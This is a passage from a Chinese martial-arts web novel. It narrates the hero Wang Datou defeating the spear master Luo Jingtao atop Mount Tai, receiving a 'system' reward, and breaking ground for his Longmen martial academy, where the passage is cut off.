“没啥意思。”光头擦着手,“就是想看看,是江东罗家的老枪头硬,还是滨海新蹿起来的那小子拳头硬。
可别是个银样镴枪头,那就没意思咯。”说完,晃着膀子走了。
张猛气得想追上去,被后面进来的雷烈拉住。
“猛哥,跟这种浑人置什么气。等上了山,看咱龙头怎么把罗惊涛撂倒,这些看热闹的自然就闭嘴了。”
继续上路后,越接近泰山所在的地市,路上遇到的“同道中人”就越多。
有时在高速上能看到前后有车一直不远不近地跟着,气息都不弱。
甚至有一次在收费站排队,旁边车道一辆黑色轿车的后车窗缓缓降下一半,露出一张保养得宜、戴着金丝眼镜的中年男人的脸,朝着王大头所在的车厢方向,微笑着点了点头,然后车窗又升了上去。
“那是谁?”李雅问。
“不认识。”王大头摇头,“但气息不弱,至少暗劲巅峰。可能是某个世家或门派派出来观礼的代表。”
赵师傅沉吟道:“看来这场比武,牵动的人心比预想的还多。也好,正好让天下人看看,龙门到底有几斤几两。”
抵达泰山脚下时,已是傍晚。预订的酒店几乎被各路武林人士包圆。
大堂里、餐厅中,随处可见形形样样的练家子。
有的一身名牌,谈笑风生;有的穿着朴素,沉默寡言;还有的奇装异服,引人侧目。空气里弥漫着一种压抑的兴奋和隐约的躁动。
办理入住时,前台的小姑娘显然没见过这阵仗,说话都有些磕巴。
旁边一个操着粤语口音、梳着大背头的中年胖子正在大声讲电话:“……放心啦,位置早订好啦!玉皇顶旁边最好的观测点,花了大价钱的!什么?开盘口?早就有人开
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了,赔率?现在看好罗惊涛的稍微多点啦,毕竟老前辈嘛,但那个王大头赔率也不低,听说有点邪门……”
王大头听得有些好笑。江湖事,江湖了,没想到还有这种“商业化”操作。
刚拿到房卡,转身就差点撞上一个人。
那人反应极快,轻飘飘退后半步。
是个看起来二十七八岁的青年,穿着简单的白色唐装,面如冠玉,气质温和,但一双眼睛格外明亮有神。
他身后跟着两个沉默的随从。
“抱歉。”
青年微微一笑,拱手致意,目光在王大头脸上停留了一瞬,又扫过他身后的赵师傅、李雅等人,眼中闪过一丝了然,“可是滨海龙门的朋友?在下江南白家,白子羽。”
江南白家,也是古武界有名的家族,以医术和绵掌闻名,行事低调。
“白公子。”王大头抱拳还礼。
“王龙头果然年轻有为。”
白子羽笑容和煦,“明日之战,想必精彩。家父让我带句话,罗家枪法刚猛,但其‘惊涛’之势,初起时最弱,若能破其‘起手式’,或可事半功倍。聊表心意,预祝王龙头旗开得胜。”
说完,微微颔首,便带着人离开了。
“白家……这是卖个好?”李雅低声道。
“可能吧。”王大头不置可否。白家的提醒,与他自己的判断不谋而合,但对方主动示好,未必没有深意。
晚餐是在酒店餐厅用的。
整个餐厅几乎被武林人士占据,喧嚣声不断。
龙门一行人进来时,声音陡然低了几度,无数道目光齐刷刷地投射过来,有审视,有好奇,有怀疑,也有不加掩饰的敌意和轻蔑。
张猛和雷烈等人顿时挺直了腰板,眼神不善地瞪了回去。
王大头却像没事人一样,径直走到预留的桌前坐下,神色平静地开始点菜。
他能感觉到,至少有七八道不弱的气息,正若有若无地锁定着他。
其中一道,阴冷晦涩,带着几分熟悉的怨毒之感,虽然极力掩饰,但仍被他敏锐的灵觉捕捉到。
“林家果然来了。”王大头心中冷笑,却连眼皮都没抬一下。
这一顿饭,吃得像是被放在聚光灯下展览。
但他知道,这只是开始。
明天太阳升起的时候,在玉皇顶上,才是真正的舞台。
而他,已经准备好了。
第96章:泰山之战,科学武道的展现
寅时末,天还黑着,山风凛冽。
通往玉皇顶的山道上,已经挤满了人。
火把、手电、甚至还有用蓄电池的探照灯,将蜿蜒的山路照得影影绰绰。
人们呼出的白气连成一片,低声交谈着,语气里满是兴奋与期待。
王大头一身简单的黑色练功服,走在最前。
赵师傅、李雅、张猛、雷烈等人紧随其后,再后面是五十名龙门精英,沉默而肃穆,在拥挤的人流中硬生生开出一条通道。
所过之处,人群自动分开,窃窃私语声响起:
“那就是王大头?好年轻!”
“看起来也没什么特别嘛,真能打过罗惊涛?”
“嘘!小点声!你没看到他身后那帮人?煞气重得很!”
“听说他以前送外卖的?嘿,这世道……”
各种各样的目光投射过来,王大头恍若未觉。
他的心神,已完全沉浸在即将到来的战斗之中。
《星辰观想法》悄然运转,精神澄澈如镜,映照着周遭的环境、气流、甚至人群中那些隐藏的恶意与审视。
抵达玉皇顶时,东方天际已露出一线鱼肚白。这片开阔的平台,此刻已是人山人海。
四周的古建筑飞檐下、巨石旁、松树边,但凡能落脚的地方都站满了人。
粗略看去,竟真有近千之众!
其中不少人气息绵长,目光如电,显然都是修为不弱的武者。
平台中间,一片直径约二十米的空地已经被清了出来。空地一端,一位老者独自而立。
老者身穿藏青色劲装,身形高大挺拔,虽鬓角染霜,但面色红润,双目开阖间精光四射,顾盼自雄。
他手中握着一杆长约两米二、通体黝黑、不知是何金属打造的**,枪尖斜指地面,纹丝不动。
仅仅是站在那里,就仿佛一座不可撼动的礁石,又像是一头蓄势待发的猛虎,一股无形的、磅礴的气势笼罩着整个中间区域,让靠近的人都不由自主地屏住呼吸,心生压抑。
江东“断浪枪”,罗惊涛!
王大头脚步沉稳,走到空地另一端,与罗惊涛相隔十丈站定。
山风卷起他的衣角,猎猎作响。
四目相对。
罗惊涛的目光如同实质的枪锋,锐利、霸道、充满压迫感,仿佛要将王大头从里到外刺穿看透。
他缓缓开口,声音洪亮如钟,压过了山顶的风声:“王大头?”
“正是。”王大头抱拳,不卑不亢。
“好!”
罗惊涛眼中闪过一丝异色,似乎对王大头的镇定有些意外,但更多的是熊熊燃烧的战意,“年纪轻轻,能有这般气度,难得!不过,擂台之上,拳脚无眼,刀枪无情。你现在认输退去,尚可保全颜面。”
这话听着像是劝告,实则暗含轻蔑与心理压迫。
王大头微微一笑:“罗前辈好意心领。不过,王某既然来了,就没有不战而退的道理。请!”
“哈哈!有种!”
罗惊涛大笑一声,手中黑枪一振,发出“嗡”的一声低沉颤鸣,“那就让老夫看看,你这‘年轻一代第一人’,究竟有多少斤两!”
话音刚落,他动了!
没有试探,没有虚招。
罗惊涛一步踏出,脚下青石板“咔嚓”一声,竟被踩出蛛网般的裂纹!
身形如电,十丈距离仿佛一步跨越,手中黑枪化作一道撕裂空气的黑色闪电,带着刺耳的尖啸,直刺王大头胸口!
简简单单的一记直刺,却快如奔雷,猛若山崩!枪尖未至,那股凝练到极点的枪意和灼热爆裂的内劲,已经将王大头牢牢锁定,周遭的空气仿佛都变得粘稠沉重!
“惊涛枪法,起手式‘浪起于微’!”有人惊呼。
这一枪,正是罗惊涛仗之成名的起手式,看似简单直接,实则已将速度、力量、气势凝聚到一点,寻常化劲初期高手,恐怕连反应都来不及就会被一枪穿胸!
然而,在王大头的《星辰观想法》中,这一枪的轨迹、力量的分布、内劲爆发的节奏,都如同慢镜头般清晰呈现。他甚至能“看”到枪尖刺破空气时产生的细微涡流,以及罗惊涛肩、腰、腿肌肉发力的联动模式。
“力量集中于枪尖前三寸,手臂肌肉在最后十分之一秒会有一个微不可查的二次绷紧,那是他准备应对变招或爆发后续连招的预备动作……”大脑如同精密的计算机,瞬间完成分析。
他没有选择硬撼,也没有急于施展身法完全闪避。
就在枪尖即将临体的刹那,他身体以左脚为轴,如同被风吹动的杨柳,向右侧微微一旋!
幅度极小,时机极准!
黑色枪尖几乎擦着他左肋的衣衫刺过,灼热的枪劲将他那处的衣服烫出一道焦痕!但,也仅此而已!
罗惊涛瞳孔微缩。他这一枪,看似直来直去,实则蕴含多种后续变化,无论对方格挡、闪避还是后退,他都有相应的凌厉后招。
可王大头这轻描淡写、恰到好处的一旋,偏偏
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就卡在了他所有后续变化发动前的那一个最微妙的“节点”上,让他蓄势待发的后续劲力有种打在空处的难受感。
“好精准的判断!”观战人群中,有识货的老一辈高手低呼。
不等罗惊涛变招,王大头动了!
他旋身的同时,右手并指如剑,不带丝毫风声,悄无声息地点向罗惊涛因刺枪而微微露出的右肩肩窝!
这一指,凝聚了《流云叠浪掌》中“云劲”的缥缈难测,又快又刁!
罗惊涛冷哼一声,手腕一抖,刺空的**如同活物般猛然回缩,枪身弯曲如弓,随即弹直,枪尾如同神龙摆尾,带着呼啸的风声,狠狠扫向王大头点来的手指!
这一下变招快如闪电,刚猛无俦,显示出他数十年浸淫枪法的深厚功底。
王大头似乎早有所料,点出的手指倏地收回,整个人如同失去了重量,借着罗惊涛枪尾扫来的劲风,向后飘退三丈,轻飘飘落地,气息不乱。
两人再次拉开距离。
短短一个照面,兔起鹘落,险象环生,看得周围观众心都提到了嗓子眼。
“果然有点门道。”罗惊涛眼神更加凝重,收起了最后一丝轻视,“再来!”
他枪势展开,不再追求一击必杀。黑枪在他手中仿佛化作了翻江倒海的黑龙,枪影重重,劲风呼啸!
“惊涛拍岸!”
“浊浪排空!”
“狂澜万丈!”
一式式刚猛霸道的枪法施展开来,当真如大海怒涛,一浪高过一浪!
炽热爆裂的内劲随着枪势扩散开来,让中间区域温度骤升,离得近的观战者都觉得面皮发烫,呼吸困难。
王大头的身影在重重枪影中穿梭,如同惊涛骇浪中的一叶扁舟。
他没有与罗惊涛硬碰硬,而是将身法施展到极致,结合《星辰观想法》的精准预判,总能在间不容发之际,找到枪势最薄弱或转换的间隙,或闪避,或格挡,或以巧劲牵引。
他用的手法很杂,有时是八极拳的刚猛寸劲,精准地击打在枪身受力薄弱处,让罗惊涛的枪势微微一滞;有时是流云掌的柔劲,如同云絮般包裹、偏移枪尖的方向;有时干脆就是最简单的物理学原理——利用角度卸力,利用对方的冲势借力打力。
他的动作看起来并不快得离谱,却总是恰到好处,仿佛能未卜先知,将罗惊涛狂暴的攻势一一化解于无形。
偶尔反击的一两下,也如毒蛇吐信,直指要害,逼得罗惊涛不得不回防。
第97章:胜!名动天下!
“这小子……用的什么路数?”观战者中有人疑惑,“招式看着不伦不类,但效果却出奇的好!”
“他好像总能看穿罗惊涛的下一步!”
“不是看穿,是算到了!你们发现没,他每次移动和出手的位置、时机,都像是精心计算过的!”
罗惊涛越打越是心惊。
他浸淫枪道数十年,自信枪法已臻化境,同阶之中罕逢敌手。
可眼前这个年轻人,就像一条滑不留手的泥鳅,又像一面能吸收所有力量的深海,让他有种有力使不出的憋闷感。
自己的每一枪,仿佛都在对方的预料之中,总能被对方以最小的代价化解或引导开。
更让他隐隐不安的是,对方似乎……游刃有余?
转眼间,两人已交手近百招。
罗惊涛枪势依旧猛烈,但额头已见汗,呼吸也略微粗重了一分。
那炽热爆裂的内劲如此挥霍,对他也是不小的负担。
而场地另一端的王大头,呼吸平稳,眼神清亮,甚至连额头上都没什么汗水。
他依旧保持着那种精确而高效的战斗节奏,仿佛一台不知疲倦的精密机器。
高下之势,明眼人已能看出端倪。
罗惊涛心中焦躁,知道不能再这样下去。他猛地暴喝一声,体内内力如同火山喷发,尽数灌注于黑枪之中!
“接我最后一招——惊涛灭世!”
黑枪骤然发出刺目的红芒,仿佛烧红的烙铁!
罗惊涛人枪合一,化作一道撕裂长空的红黑厉芒,以毁灭一切的姿态,朝着王大头轰然撞去!
这一枪,凝聚了他毕生修为和此刻全部精气神,枪未至,那股恐怖的威压已经让方圆数十米内的人头皮发麻,几欲窒息!
这是决胜负的一枪!
王大头眼中精光爆闪,一直平静的脸上,终于露出了凝重之色。
他深吸一口气,不退反进,迎着那毁天灭地的一枪,冲了上去!
所有人的心,在这一刻,都悬到了嗓子眼。
面对罗惊涛那凝聚毕生功力、仿佛能刺破苍穹的“惊涛灭世”一枪,王大头前冲的身形在最后一刻发生了极其微妙的变化。
他没有选择硬碰,也没有完全躲避。
在《星辰观想法》的极致运转下,那狂暴枪势的每一分力量流向、内劲爆发的节点、甚至罗惊涛肌肉的细微颤动,都如同掌上观纹般清晰。
这一枪,强在凝聚,强在一点突破,但也因为过于凝聚,失之灵动,转向不易。
就在赤黑枪芒即将触及他胸口的刹那——那距离已经近得枪尖的灼热刺痛了他的皮肤——王大头的身躯如同没有骨头般,以一个不可思议的角度,向左后方四十五度斜斜拧转、后仰!
这不是简单的铁板桥,而是结合了流体力学卸力原理与《流云叠浪掌》中“云体风身”卸劲技巧的高超身法。
他的身体几乎与地面平行,却又保持着一种奇异的平衡。
“嗤——!”
赤黑枪芒擦着他右胸的衣衫掠过,将他黑色的练功服撕裂开一道长长的口子,露出下面结实的肌肉,皮肤被灼热的枪劲烫出一道红痕,火辣辣地疼。
但,也仅此而已!
这足以洞穿钢板的恐怖一枪,竟然被他以毫厘之差,险之又险地“让”了过去!
罗惊涛全力一击落空,身体因巨大的惯性继续前冲,招式已老,新力未生。
更糟糕的是,他感觉自己枪上的力道,仿佛被对方那诡异的身法牵引、带走了一部分,让他的重心出现了一丝极其短暂、几乎无法察觉的偏移!
对于王大头这样的高手,这一丝偏移,已经足够!
就在两人身体交错、罗惊涛旧力已尽、重心微偏的这电光石火之间,王大头那几乎与地面平行的身体,右腿如同安装了弹簧般,猛地向上弹起!
不是踢,不是蹬,而是一记精准无比的“勾挂”!
他的脚尖,如同最灵巧的钩子,悄无声息地勾在了罗惊涛因为前冲而微微抬起的右脚踝后方!
这一下,时机妙到巅毫,力量用得恰到好处,借助的正是罗惊涛自身前冲的势能和那重心偏移的破绽!
四两拨千斤!
罗惊涛只觉脚踝处一股不大却刁钻无比的力道传来,本就重心不稳的身体彻底失去了平衡,“蹬蹬蹬”向前踉跄冲去!
若是平地,以他的修为,三四步也能稳住。
但这里是泰山玉皇顶,地面是坚硬的岩石,而且他刚才那招“惊涛灭世”冲势太猛!
“不好!”罗惊涛心中警铃大作,拼命想要拧身回枪,稳住身形。
然而,王大头根本不给他这个机会!
在勾挂成功的瞬间,王大头已然旋身站起,如同附骨之疽,一步踏前,右掌轻飘飘地印在了罗惊涛因为踉跄而毫无防备的后心之上。
这一掌,看似轻如飘云,没有发出半点风声。
但掌心吐露的,却是《流云叠浪掌》中“叠浪劲”的真谛!
一股柔和却极具穿透性、后劲连绵的力道,如同平静海面下的暗流,悄无声息地透体而入。
“噗!”
罗惊涛如遭重
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击,前冲的身形猛地一顿,脸色瞬间涨红,随即转为煞白。
他闷哼一声,再也控制不住,“哇”地喷出一大口鲜血,手中那杆威震江东的黑枪“当啷”一声脱手落地,整个人向前扑倒,单膝跪地,以手撑地,才勉强没有倒下,但气息已然萎靡紊乱,显然受了不轻的内伤。
静!
死一般的寂静!
玉皇顶上,近千名来自天南海北的武林人士,全都瞪大了眼睛,张大了嘴巴,难以置信地看着场中的一幕。
时间仿佛凝固了。
从罗惊涛发动那惊世骇俗的“惊涛灭世”,到王大头鬼魅般避让、勾挂、补掌,再到罗惊涛吐血跪地……整个过程说起来慢,实则发生在不到两个呼吸之间!
快!准!狠!巧!
没有惊天动地的对轰,没有花哨炫目的特效,只有精准到极致的判断、妙到毫巅的时机把握和四两拨千斤的巧妙运用!
堂堂江东“断浪枪”罗惊涛,成名数十年的化劲中期(甚至接近后期)宗师,竟然……就这么败了?
败给了一个二十出头、崛起不到一年的年轻人?
“这……这就结束了?”
“罗惊涛输了?!”
“我的天!我刚才看到了什么?”
“那一下勾挂……那一下掌法……神乎其技!”
“他不是硬碰硬打赢的,是靠脑子!靠技巧赢的!”
短暂的死寂后,巨大的哗然声如同海啸般爆发开来!
所有人都被这出乎意料又精彩绝伦的结果震撼了。
张猛和雷烈猛地跳了起来,振臂狂呼:“赢了!龙头赢了!!”
身后的五十名龙门精英也个个激动得脸色通红,发出震天的欢呼。
李雅紧紧捂住嘴,眼泪却控制不住地涌了出来,那是极度紧张后释放的喜悦和自豪。
赵师傅拄着拐杖,长长地舒了一口气,脸上露出了欣慰无比的笑容,喃喃道:“好小子……云劲与叠浪劲的融合,时机把握堪称完美……此战之后,天下谁人不识君?”
罗惊涛跪在地上,剧烈地咳嗽了几声,又吐出一小口淤血。
他抬起头,看着不远处气息平稳、只是衣衫破损、略显狼狈的王大头,眼神复杂无比,有震惊,有挫败,有恍然,最后化为一声长长的叹息。
“好……好一个王大头!”
罗惊涛声音沙哑,却带着服气,“老夫……输得不冤!你这身法,这掌力,这临机应变……已得武学‘巧’与‘算’之三昧!长江后浪推前浪……江湖,是你们年轻人的了。”
第98章:归途与反思
他挣扎着站起身,对王大头抱了抱拳,然后弯腰捡起自己的黑枪,也不理会周围嘈杂的议论和目光,有些蹒跚地分开人群,朝着下山的方向走去。背影萧索,却也有种败得明明白白的磊落。
王大头对着他的背影,也郑重地抱拳还了一礼。这一战,罗惊涛是堂堂正正的对手。
此刻,所有人的目光都聚焦在王大头身上。
那些原本带着审视、怀疑、轻蔑的目光,此刻全都变成了震惊、敬畏、赞叹,甚至狂热!
“王龙头!”
“王龙头威武!”
不知是谁先喊了一声,紧接着,越来越多的呼喊声响起,汇聚成声浪,在泰山玉皇顶上回荡。
这一刻,“外卖拳王”王大头,以一场干净利落、充满智慧的胜利,真正名动天下,奠定了其年轻一代翘楚的无可争议的地位!
与此同时,王大头脑海中,期待已久的系统提示音清脆响起:
“叮!检测到宿主于天下瞩目之战中,正面击败成名化劲宗师罗惊涛,极大提升个人与组织声望!”
“达成成就:【扬威古武界】!”
“奖励发放:【先天功·残篇】!”
一股远比之前任何奖励都要庞大、精纯、玄奥的信息流,瞬间涌入王大头的意识深处!
下山的路上,气氛与来时截然不同。
依然是那十辆黑色越野车,但每一辆车里的龙门弟子,腰杆都比来时挺得更直,脸上洋溢着无法掩饰的激动和自豪。
沿途遇到的其他武林人士,无论来自哪个势力,都会不由自主地让开道路,投来复杂难明的目光——敬畏、好奇、探究,甚至还有隐隐的讨好。
王大头坐在车后座,依旧闭着眼睛,但并非休息。
他的心神,正沉浸在那份刚刚获得的【先天功·残篇】之中。
这并非具体的修炼法门,更像是一种对“先天”境界本质的阐述和指引。
它用玄奥却又契合天地至理的语言,描述了如何将自身圆满的内力(后天之气),与感悟吸纳的天地灵气(先天之气)逐步融合,打破人体与天地的隔阂,实现生命层次的初步跃迁。
其中涉及到的“气与神合”、“神与天地通”、“筑基”、“采气”、“炼化”等概念,虽然只是残篇,语焉不详,却为他推开了一扇全新的大门,让他对前路不再迷茫。
结合《星辰观想法》对精神力的锤炼,他对如何突破先天,有了初步的、清晰的构想。
“果然,战斗是最好的催化剂,声望是系统的奖励阶梯。”王大头心中明悟。
这次泰山之战,不仅赢得了名声,震慑了潜在敌人,更获得了至关重要的突破指引。
“大头,你在想什么?”李雅轻声问道,递过一瓶水。
她脸上的兴奋还未完全褪去,看着王大头的眼神里充满了崇拜和柔情。
王大头接过水,喝了一口,笑了笑:“在想刚才那一架。”
“赢都赢了,还想它干嘛?”
前排的张猛扭过头,咧着大嘴,“要我说,就该好好庆祝!回去我就让食堂加餐,摆他三天流水席!”
雷烈也笑道:“猛哥说得对!龙头,你最后那一下,简直神了!我看那罗惊涛老儿,枪都拿不稳了!咱们龙门这次,算是彻底打响名号了!”
王大头却摇了摇头,语气平静:“赢是赢了,但赢得并不轻松。罗惊涛的枪法,确实有独到之处。‘惊涛骇浪’,名不虚传。如果不是最后他久攻不下心浮气躁,全力一击时露出了破绽,我想赢他,恐怕还要费更多周折。”
他顿了顿,看向窗外的山景,若有所思:“而且,我赢他,主要靠的是更精准的预判、更高效的身法运用和时机的把握。说白了,是用‘巧劲’和‘算计’,一定程度上避开了他功力深厚的优势。如果换个经验同样丰富、心态更稳、不急于求成的化劲中期对手,结果未必如此。”
赵师傅赞许地点头:“胜而不骄,还能反思不足,这才是一个武者真正的进取之心。大头说得对,此战扬名是好事,但切不可因此小觑了天下英雄。化劲之上,还有先天,还有更高。林家的老祖,上官家的底蕴,乃至那些隐藏在深山老林里的老怪物……路还长。”
“师傅教训的是。”王大头虚心受教。
他确实没有因为这场胜利而膨胀。
系统的存在,昆仑秘境的传闻,都让他知道这个世界远比他想象的广阔和神秘。
“我是在想,”
王大头继续说道,“我这次用的一些方法,比如借助对方冲势的勾挂,利用角度卸力的身法,还有对对手发力节点的预判打击……这些能不能总结成一些可以传授的技巧?不一定需要很高的内力基础,但能有效提升实战能力,尤其是面对力量或修为高于自己的对手时。”
李雅眼睛一亮:“你是说,把这些经验,变成学院里的课程?”
“对。”
王大头点头,“武道传承,不能只传力量,不传智慧。如何用最小的代价取得胜利,如何在劣势中寻找机会,这些战斗智慧和技巧,有时候比多练几年内力更有用。尤其是对于天赋普通、或者入门较晚的弟子来说。”
张猛挠挠头:“听起来是挺有道理……不过,这东西咋教啊?感觉都是你临场发挥的。”
“可以尝试分解、归纳、模拟。”
王大头越说思路越清晰,“比如,建立不同的发力模型和应对模型,设计专门的训练器械和场景,甚至……可以开发一些辅助分析的软件?”
这个念头让他自己都有些兴奋。
将现代科技,尤其是数据分析和模拟技术,引入武道训练,这或许才是“科学武道”在学院阶段最具潜力的发展方向!
车内的几人都被王大头这大胆的想法震了一下,随即都露出思索的神色。
赵师傅眼中异彩连连,显然想到了更多。
“这件事,回去可以好好筹划。”
王大头最终说道,“眼下,我们先回滨海。赢了这一场,只是开始。龙门
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需要消化这次胜利带来的声望和影响力,更要警惕可能随之而来的、更隐蔽的挑战。”
他的目光,重新变得深邃而坚定。
泰山之战,是龙门崛起路上的一座重要里程碑,但绝非终点。
他的目标,始终是让龙门真正立足、壮大,并开创出一条全新的武道传承之路。
车队在高速上飞驰,载着胜利的荣耀,也载着对未来的清醒与规划,驶向那座正在等待他们归来的城市。
泰山之战的影响,比所有人预想的都要深远。
王大头回到滨海的第二天,整个城市的地下世界就像被投入烧红铁块的水,彻底沸腾了。
凌晨三点,龙门总部外已经停满了车。
不是黑压压的打手车队,而是各式各样的商务轿车,从普通的奥迪到加长的林肯,车灯在夜色里连成一片晃眼的光带。
李雅穿着米白色的职业套装,眼底带着淡淡的青黑,却依旧脊背挺直地站在会议室门口。她已经连续三十六个小时没合眼了。
“李氏武馆的人还在会客室等着,说要谈加盟。”
助理小跑着过来,手里平板电脑上的日程表红得刺眼,“上官家派来的代表刚下飞机,直接往这边来了。还有三家媒体想约专访,两家是正经体育频道,一家是......”
“那家八卦周刊推了。”
李雅声音有些沙哑,却斩钉截铁,“告诉李氏武馆,加盟的事等学院章程出来再说。上官家的人到了直接请到贵宾室,我十五分钟后过去。”
她揉了揉太阳穴,透过走廊的窗户看向楼下。
院子里,张猛正带着几个核心弟子清点堆成小山的礼盒——都是各路势力送来的贺礼。
雷烈光着膀子,背上缠着绷带,却还在指挥人把一块两米多高的太湖石搬到指定位置。那石头上刻着四个大字:泰山为证。
赵师傅坐在院子角落的石凳上,慢悠悠地泡着茶。
但李雅注意到,老人家泡茶时手指在壶柄上轻轻叩击的节奏,分明是某种监听周围动静的暗号。
这一切,都因为那个男人。
李雅望向二楼紧闭的房门。
王大头回来后只说了一句“我需要静修两天”,就把自己关了进去。门缝里隐约有气流旋转的嘶嘶声,有时又突然静得可怕。
她不知道他在房间里经历什么,但她知道,当他再走出来时,一定会带来新的变化。
第三天清晨,那扇门开了。
王大头走出来时,等在外面的几人都愣住了。
他换了身简单的灰色运动服,洗得发白的帆布鞋,头发随意抓了抓,看起来就像个晨跑回来的大学生。
但不一样的是他的眼睛——那里面有种沉淀下来的光,像是暴雨过后格外清澈的天空,又像是深潭,表面平静,底下却藏着漩涡。
“早。”他冲等在外面的几人笑了笑,接过李雅递来的豆浆,咬了一口包子,“都吃过了?”
张猛挠挠头:“大头哥,你这......没事了?”
第99章:龙门学院的奠基
“有事。”
王大头三两口吃完包子,擦了擦手,“大事。召集所有核心成员,一小时后开会。小雅,把这几天的拜帖、合作意向全部整理出来,按优先级分类。赵师傅,需要您老帮忙看个地方。”
一小时后,会议室里坐满了人。
王大头没坐主位,而是靠在窗边,看着手里厚达三十页的意向书汇总。
阳光从他侧脸打过来,在会议桌上拉出一道长长的影子。
“这么多人啊。”他翻着文件,语气听不出情绪,“我打赢林煞之前,这些人都在哪儿呢?”
会议室里安静了几秒。
“很正常。”赵师傅慢悠悠开口,“锦上添花易,雪中送炭难。古武界,从来都是实力说话的地方。”
“那就让他们继续看实力。”王大头合上文件,转过身,“我决定了,龙门学院,三天后奠基动工。”
这句话像一颗石子投入平静的水面。
“这么快?”李雅有些意外,“选址、设计、审批这些......”
“选址我已经看好了,东郊临海那块丘陵。设计就用最简洁实用的方案,先盖教学楼、训练馆、宿舍。审批......”王大头看向李雅,“你那边有困难吗?”
李雅迅速在心里过了一遍:“那块地之前规划的是生态园,我们以‘高等职业研究院’的名义拿下,程序上没问题。但三天......时间太紧了。”
“紧也要做。”
王大头的语气不容置疑,“林家现在沉默,不是在认输,是在憋更大的招。我们必须在他们反应过来之前,把根基扎下去。学院就是我们的根。”
张猛一拍桌子:“干!怕个鸟!大头哥你说怎么干,我们就怎么干!”
雷烈瓮声瓮气:“盖房子我在行,工地上待过三年。”
“不只是盖房子。”王大头走到会议室中间的白板前,拿起马克笔,“我们要建的,是一个体系。一个能让普通人也有机会触碰武道的体系。”
他在白板上画了个三角形。
“底层,是科学训练方法。怎么高效锻炼肌肉,怎么保护关节,怎么搭配营养,怎么进行心理建设。这些,我们请专业的运动科学团队来做。”
“中层,是实战技巧。不是花架子,是真正能打、能保命的技巧。这一块,猛子、老雷,还有赵师傅,你们是专家。”
“顶层,是内力修行和进阶。”他顿了顿,“这一块最难,但也是我们必须攻克的。我有些想法,需要验证。”
赵师傅眼睛微眯:“你想打破‘根骨论’?”
“不是打破,是重新定义。”
王大头笔尖点着白板,“如果内力本质是生命能量的运用,那理论上,每个人都应该具备这种潜能。只是大多数人的‘通道’被堵塞了,或者没找到正确的方法。”
会议室里安静得能听到空调送风的声音。
这个概念太惊人了。如果真能做到,整个古武界的格局都会被颠覆。
“会有人反对。”赵师傅缓缓说,“而且是很多人。那些把持着传统传承的家族、门派,不会允许这种‘异端’存在。”
“我知道。”王大头放下笔,目光扫过在场的每一个人,“所以我们需要盟友。小雅,上官家送来的那些古籍,你找人连夜整理,挑出能公开的部分,作为学院的第一批参考资料。”
“另外......”他看向窗外,“奠基仪式,我们要办得热闹。越多人知道越好。”
李雅瞬间明白了他的意思:“**造势?”
“对。”王大头点头,“把龙门学院的理念散出去——不问出身,不看根骨,只问心志。让那些被传统门槛挡在外面的人,看到希望。”
张猛咧嘴笑了:“这招狠。那些自命清高的老古董,最怕的不就是这一套嘛!”
奠基当天,场面比预想的还要火爆。
工地外围了里三层外三层的人,警察不得不拉起警戒线维持秩序。除了来看热闹的市民,更多是闻讯而来的年轻人。
一个坐在轮椅上的少年被母亲推着,挤在人群最前面。他大概十五六岁,脸色苍白,双腿盖着薄毯,但眼睛亮得惊人。
“妈,你说......他们真的会收我吗?”少年声音有些颤抖。
母亲眼眶发红,用力点头:“收!一定收!王龙头不是说了吗,不问出身,不看......不看那些。”
旁边一个穿着外卖员制服的青年抹了把汗,他刚送完早上的单子就赶过来了,头盔都没来得及摘。
他摸了摸口袋里皱巴巴的传单——上面印着龙门学院的招生简章,被他翻来覆去看了无数遍。
再远处,几个穿着传统武术服的中年人聚在一起,脸色不太好看。
“胡闹!简直是胡闹!”
一个留着山羊胡的中年人冷哼,“武道传承何等严肃,岂能如此儿戏?什么人都能学,那还叫武道吗?”
“王宗师毕竟年轻,想法激进些也正常。”
另一人语气缓和些,但眼神里也透着不以为然,“只是这‘科学武道’......听都没听说过。”
“看着吧,用不了多久就会出乱子。”
这些议论声,王大头听在耳朵里,面色平静。
他今天穿了件简单的黑色立领中山装,没戴任何佩饰,站在临时搭建的主台上,背后是蓝天和远处青色的山峦。
李雅站在他左手边,一身浅灰色的职业套裙,长发绾起,干练中透着温婉。赵师傅、张猛、雷烈等人分列两侧。
没有冗长的开场白,王大头直接走到话筒前。
“我是王大头。”他的声音通过音响传出去,平稳有力,“以前送外卖的,现在算是练武的。”
台下传来善意的笑声和口哨声。
“今天站在这里,要办一件事——给龙门学院奠基。”
他顿了顿,目光扫过下方密密麻麻的人头,“我知道,很多人好奇,很多人怀疑,也有人等着看笑话。”
他的视线在那几个穿传统武术服的人身上停留了一瞬,对方不自觉地移开了目光。
“好奇很正常。怀疑也很正常。”
王大头继续说,“因为我们要做的事,确实没多少人做过。我们想试试,能不能让武道这件事,变得更清楚一点,更公平一点。”
他走到台边,蹲下身,从地上抓起一把土。
“有人说,练武靠天赋,靠根骨,靠师承。这些重要吗?重要。”
他张开手,泥土从指缝间簌簌落下,“但在我这儿,这些东西,都没这个重要——”
他指了指自己的心口。
“想变强的决心,能吃苦的狠劲,还有......”他点了点太阳穴,“肯动脑子的聪明劲儿。”
轮椅上的少年紧紧抓住了扶手。
外卖员青年摘下了头盔,露出了被汗水浸湿的头发。
“龙门学院不保证把你培养成绝世高手——那得靠你自己。”
王大头的声音提高了一些,“但我们保证,只要你肯来,肯学,肯练,我们就把我们会的、我们摸索出来的所有东西,毫无保留地教给你!”
掌声开始响起,起初零星,随后如潮水般涌来。
“至于那些规矩、门槛、出身......”
王大头笑了笑,那笑容里带着几分锐气,“我今天就把话放在这儿:在龙门学院,唯一的门槛,就是你敢不敢踏进来试试!”
“好!!”张猛第一个吼了出来。
紧接着,台下爆发出震天的叫好声。
年轻人激动得满脸通红,不少人已经开始往前挤,想要更靠近一些。
王大头转身,从礼仪人员手中接过系着红绸的铁锹。
那铁锹是崭新的,木柄还散发着淡淡的油漆味。
他走到奠基碑石前——那是一块未经打磨的天然青石,上面只刻了四个朴素的字:龙门学院。
“现在,奠基!”
铁锹插入泥土,发出沉闷的声响。
第一锹土被扬起,洒在碑石的基座上。
紧接着,李雅上前。她握着铁锹的手很稳,一锹土落下,在红绸上溅起细小的尘埃。
然后是赵师傅,老人家的动作不快,但每一锹都扎实有力。张猛和雷烈干脆一起上,两人力气大,几锹下去就堆起个小土包。
就在仪式进行到一半时,异变突生。
人群中突然传来惊呼声。三个穿着黑色运动服、戴着口罩的人猛地冲破警戒线,朝着主台方向冲来!
他们动作极快,显然不
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是普通人!
“保护龙头!”张猛脸色一变,就要冲过去。
